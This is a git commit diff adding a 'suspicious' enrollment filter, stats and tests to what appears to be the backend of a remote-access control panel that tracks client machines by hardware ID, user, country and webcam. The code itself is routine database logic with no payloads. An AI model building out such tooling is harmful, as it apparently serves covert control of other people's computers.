purgatory improvements

This commit is contained in:
KingKDot
2026-06-30 13:36:27 -05:00
parent bf99a5dca9
commit b5b50aa038
5 changed files with 183 additions and 53 deletions
+63 -1
View File
@@ -1,6 +1,6 @@
import { afterAll, describe, expect, test } from "bun:test";
import { db } from "./db/connection";
import { deleteClientRow, getClientMetricsSummary, listClients, setClientBookmark, setClientTag, setClientWebcamInfo, upsertClientRow } from "./db";
import { deleteClientRow, getClientMetricsSummary, getEnrollmentStats, listClients, setClientBookmark, setClientTag, setClientWebcamInfo, upsertClientRow } from "./db";
const createdClientIds: string[] = [];
@@ -157,6 +157,68 @@ describe("client list ordering", () => {
});
describe("client metrics summary", () => {
test("suspicious enrollment filter and stats scan the full matching set", () => {
try {
const prefix = `suspicious-filter-${Date.now().toString(36)}`;
const suspiciousId = `${prefix}-missing-identity`;
const normalId = `${prefix}-normal`;
const uniqueOs = `${prefix}-os`;
const beforeStats = getEnrollmentStats();
upsertClientRow({
id: suspiciousId,
hwid: suspiciousId,
role: "client",
host: "",
os: uniqueOs,
arch: "amd64",
version: "1.0.0",
user: "",
country: "US",
lastSeen: Date.now(),
online: 0,
enrollmentStatus: "pending",
});
createdClientIds.push(suspiciousId);
upsertClientRow({
id: normalId,
hwid: normalId,
role: "client",
host: "normal-host",
os: uniqueOs,
arch: "amd64",
version: "1.0.0",
user: "tester",
country: "US",
lastSeen: Date.now() - 1,
online: 0,
enrollmentStatus: "pending",
});
createdClientIds.push(normalId);
const result = listClients({
page: 1,
pageSize: 12,
search: "",
sort: "last_seen_desc",
statusFilter: "all",
osFilter: uniqueOs,
countryFilter: "all",
enrollmentFilter: "suspicious",
});
const afterStats = getEnrollmentStats();
expect(result.total).toBe(1);
expect(result.items.map((item) => item.id)).toEqual([suspiciousId]);
expect(result.items[0]?.suspiciousFlags).toContain("no_hostname");
expect(result.items[0]?.suspiciousFlags).toContain("no_user");
expect(afterStats.suspicious).toBe(beforeStats.suspicious + 1);
} finally {
cleanupCreatedClients();
}
});
test("operating system breakdown excludes purgatory clients", () => {
try {
const prefix = `metrics-purgatory-${Date.now().toString(36)}`;
+28 -4
View File
@@ -969,6 +969,7 @@ export function listClients(filters: ListFilters): ListResult {
} = filters;
const where: string[] = [];
const params: any[] = [];
const suspiciousEnrollmentFilter = enrollmentFilter === "suspicious";
if (statusFilter === "online") {
where.push("c.online=1");
@@ -976,7 +977,7 @@ export function listClients(filters: ListFilters): ListResult {
where.push("c.online=0");
}
if (enrollmentFilter && enrollmentFilter !== "all") {
if (enrollmentFilter && enrollmentFilter !== "all" && !suspiciousEnrollmentFilter) {
if (enrollmentFilter === "pending") {
where.push("(c.enrollment_status='pending' OR c.enrollment_status IS NULL)");
} else {
@@ -1108,7 +1109,22 @@ export function listClients(filters: ListFilters): ListResult {
let totalCount = 0;
let onlineCount = 0;
if (search) {
if (suspiciousEnrollmentFilter && !search) {
const candidates = db
.query<any>(
`SELECT ${clientFields}, g.name as groupName, g.color as groupColor
FROM clients c
LEFT JOIN client_groups g ON g.id = c.group_id
${whereSql}
${orderBy}`,
)
.all(...params);
const suspiciousSets = getFloodSetsWithCache();
const matches = candidates.filter((row: any) => computeClientSuspiciousFlags(row, suspiciousSets).length > 0);
totalCount = matches.length;
onlineCount = matches.filter((row: any) => row.online === 1).length;
rows = matches.slice(offset, offset + pageSize);
} else if (search) {
const searchWhere = [...where];
const searchParams = [...params];
const candidateLimit = Math.min(5000, Math.max(1000, offset + pageSize * 8));
@@ -2183,13 +2199,14 @@ export function getEnrollmentStats(opts?: {
pending: number;
approved: number;
denied: number;
suspicious: number;
} {
let sql = `SELECT COALESCE(enrollment_status,'pending') as status, COUNT(*) as c FROM clients`;
const params: any[] = [];
const where: string[] = [];
if (opts?.allowedClientIds) {
if (opts.allowedClientIds.length === 0) return { pending: 0, approved: 0, denied: 0 };
if (opts.allowedClientIds.length === 0) return { pending: 0, approved: 0, denied: 0, suspicious: 0 };
const placeholders = opts.allowedClientIds.map(() => "?").join(",");
where.push(`id IN (${placeholders})`);
params.push(...opts.allowedClientIds);
@@ -2214,12 +2231,19 @@ export function getEnrollmentStats(opts?: {
sql += ` GROUP BY enrollment_status`;
const rows = db.query<{ status: string; c: number }>(sql).all(...params);
const stats = { pending: 0, approved: 0, denied: 0 };
const stats = { pending: 0, approved: 0, denied: 0, suspicious: 0 };
for (const r of rows) {
if (r.status === "approved") stats.approved = Number(r.c);
else if (r.status === "denied") stats.denied = Number(r.c);
else stats.pending = Number(r.c);
}
const suspiciousSql =
`SELECT id, hwid, cpu, gpu, ram, os, host, user, ip, monitors FROM clients${where.length > 0 ? ` WHERE ${where.join(" AND ")}` : ""}`;
const suspiciousSets = getFloodSetsWithCache();
const suspiciousRows = db.query<any>(suspiciousSql).all(...params);
stats.suspicious = suspiciousRows.filter((row: any) => computeClientSuspiciousFlags(row, suspiciousSets).length > 0).length;
return stats;
}
@@ -101,7 +101,9 @@ export async function handleClientRoutes(
return new Response("Unauthorized", { status: 401 });
}
const page = Math.max(1, Number(url.searchParams.get("page") || 1));
const pageSize = Math.min(200, Math.max(1, Number(url.searchParams.get("pageSize") || 12)));
const isEnrollmentRequest = url.searchParams.has("enrollmentFilter");
const maxPageSize = isEnrollmentRequest ? 1000 : 200;
const pageSize = Math.min(maxPageSize, Math.max(1, Number(url.searchParams.get("pageSize") || 12)));
const search = (url.searchParams.get("q") || "").toLowerCase().trim();
const sort = url.searchParams.get("sort") || "last_seen_desc";
const statusFilter = url.searchParams.get("status") || "all";
@@ -110,7 +112,6 @@ export async function handleClientRoutes(
const enrollmentFilter = url.searchParams.get("enrollmentFilter") || "approved";
const groupFilter = url.searchParams.get("group") || "all";
const webcamFilter = url.searchParams.get("webcam") || "all";
const isEnrollmentRequest = url.searchParams.has("enrollmentFilter");
if (user.role === "admin") {
const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter, countryFilter, enrollmentFilter, groupFilter, webcamFilter });